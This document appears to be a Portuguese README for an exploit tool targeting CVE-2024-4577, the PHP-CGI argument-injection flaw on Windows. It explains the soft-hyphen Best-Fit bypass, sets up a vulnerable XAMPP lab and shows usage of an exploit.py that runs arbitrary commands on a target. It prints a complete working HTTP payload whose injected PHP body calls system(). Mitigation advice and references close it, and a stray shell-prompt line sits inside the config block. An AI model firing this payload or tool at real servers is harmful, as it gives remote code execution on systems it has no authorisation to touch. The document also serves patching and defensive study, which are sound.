CVE-2024-4577 - Injeção de Argumentos do PHP CGI no Windows ("WorstFit")

Visão Geral

O CVE-2024-4577 é uma vulnerabilidade crítica de execução remota de código na implementação CGI do PHP no Windows. Ela contorna a correção do CVE-2012-1823 original ao explorar a conversão de página de código "Best-Fit" do Windows para contrabandear argumentos de linha de comando pela string de consulta CGI.

• Pontuação CVSS: 9.8 (Crítica)
• Descoberto por: Orange Tsai (DEVCORE)
• Tipo: Injeção de Comandos do SO / Injeção de Argumentos
• Data da correção: 6 de junho de 2024

Detalhes Técnicos

Quando o PHP executa como um módulo CGI (php-cgi.exe), ele analisa a string de consulta como argumentos de linha de comando. A correção original do CVE-2012-1823 bloqueava o caractere - (hífen, 0x2D) para evitar injeção de argumentos. No entanto, em sistemas Windows que usam certas páginas de código (ex.: chinês, japonês, coreano), o recurso de mapeamento de caracteres "Best-Fit" converte caracteres Unicode específicos em seus equivalentes ASCII mais próximos.

A principal técnica de contorno usa o caractere soft-hyphen (0xAD / U+00AD). Quando uma requisição envia %AD na string de consulta e a localidade do servidor usa uma página de código "Best-Fit", o Windows converte internamente 0xAD para 0x2D (hífen), permitindo que o invasor injete argumentos PHP apesar do filtro.

Exemplo: %ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input torna-se -d allow_url_include=1 -d auto_prepend_file=php://input.

Versões Afetadas

• PHP 8.1.* anterior a 8.1.29
• PHP 8.2.* anterior a 8.2.20
• PHP 8.3.* anterior a 8.3.8

Requisitos de configuração:

• PHP executando como CGI com php-cgi.exe
• Servidor web Apache com mod_cgi ou mod_cgid configurado
• Localidade do Windows usando uma página de código "Best-Fit" (chinês, japonês, coreano, etc.)

Configuração do Ambiente (XAMPP)

1. Baixe uma versão vulnerável do PHP (ex.: 8.1.28) para Windows.
2. Configure o XAMPP ou o Apache com modo CGI:
   root@kitploit:~

   ScriptAlias /php-cgi/ "C:/php/"
   Action application/x-httpd-php-cgi /php-cgi/php-cgi.exe
   

3. Verifique o alvo: http://localhost/php-cgi/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input

Uso

python exploit.py -t http://target/php-cgi/php-cgi.exe -c "whoami"
python exploit.py -t http://target/php-cgi/php-cgi.exe --phpinfo

PoC

O payload criado injeta diretivas de configuração do PHP por meio da string de consulta:

GET /php-cgi/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
Host: target
Content-Type: application/x-www-form-urlencoded

<?php system("whoami"); ?>

Mitigação

• Atualize o PHP para 8.3.8+, 8.2.20+ ou 8.1.29+
• Desative o modo CGI e use PHP-FPM, mod_php ou FastCGI em vez disso
• Aplique regras de reescrita do IIS ou Apache para bloquear requisições a php-cgi.exe
• Execute o PHP apenas em sistemas com páginas de código sem "Best-Fit" (ex.: inglês)

Referências

• https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-en/
• https://nvd.nist.gov/vuln/detail/CVE-2024-4577
• https://www.php.net/ChangeLog-8.php
• https://github.com/php/php-src/commit/2ae601d8d0d5b42891c6e15a28a14d1f44855f09